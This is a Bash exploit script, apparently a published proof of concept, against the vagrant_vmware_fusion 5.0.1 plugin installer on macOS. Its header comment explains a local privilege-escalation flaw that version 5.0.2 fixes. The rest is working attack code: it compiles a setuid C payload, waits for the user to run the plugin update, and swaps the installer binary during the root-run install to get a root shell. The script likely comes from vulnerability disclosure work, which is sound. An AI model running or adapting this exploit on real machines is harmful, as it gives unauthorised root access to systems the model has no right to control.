79 lines
No EOL
2.8 KiB
Bash
Executable file
79 lines
No EOL
2.8 KiB
Bash
Executable file
# I recently blogged about how the installation process of version 5.0.0 of this
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# plugin could be hihacked by a local attacker or malware in order to escalate
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# privileges to root. Hashicorp pushed some mitigations for this issue fairly
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# quickly but unfortunately 5.0.1 is still exploitable with a slightly different
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# approach.
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# They removed the chmod/chown shell commands from their osascript invocation and
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# instead simply executed their installer as root, but apparently didn't realise
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# that the installer is not root-owned so can be swapped out by a local attacker
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# during the process.
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# This issue is fixed in version 5.0.2.
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# https://m4.rkw.io/vagrant_vmware_privesc_5.0.1.sh.txt
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# c38ecc9fdb4f37323338e8fd12b851133a2121f3505cde664e6d32f1ef49ba23
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# -----------------------------------------------------------------------------
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#!/bin/bash
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echo "########################################"
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echo "vagrant_vmware_fusion 5.0.1 root privesc"
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echo "by m4rkw"
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echo "########################################"
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echo
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echo "compiling..."
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cat > vvf.c <<EOF
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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int main(int ac, char *av[])
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{
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setuid(0);
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seteuid(0);
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if (ac > 1) {
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system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 /tmp/vvf_exp");
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system("chown root:wheel /tmp/vvf_exp");
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system("chmod 4755 /tmp/vvf_exp");
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system("mv -f $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64.orig $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64");
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system("$HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop/vagrant-vmware-installer_darwin_amd64 install\012");
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return 0;
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}
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system("rm -f /tmp/vvf_exp");
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execl("/bin/bash","bash",NULL);
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return 0;
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}
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EOF
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gcc -o /tmp/vvf_exp vvf.c
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rm -f vvf.c
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echo "waiting for user to initiate vagrant plugin update..."
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while :
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do
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r=`ps auxwww |grep '/usr/bin/osascript -e do shell script' |grep 'vagrant-vmware-installer_darwin_amd64'`
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if [ "$r" != "" ] ; then
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break
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fi
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done
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pid=`ps auxww |grep './vagrant-vmware-installer_darwin_amd64 install' |grep -v grep |xargs -L1 |cut -d ' ' -f2`
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cd $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.1/ext/vagrant-vmware-desktop
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echo "dropping payload in place of installer binary..."
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mv -f vagrant-vmware-installer_darwin_amd64 vagrant-vmware-installer_darwin_amd64.orig
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mv -f /tmp/vvf_exp vagrant-vmware-installer_darwin_amd64
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echo "waiting for payload to trigger..."
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while :
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do
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r=`ls -la /tmp/vvf_exp 2>/dev/null |grep -- '-rwsr-xr-x' |grep root`
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if [ "$r" != "" ] ; then
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echo "spawning shell..."
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/tmp/vvf_exp
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exit 0
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fi
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done |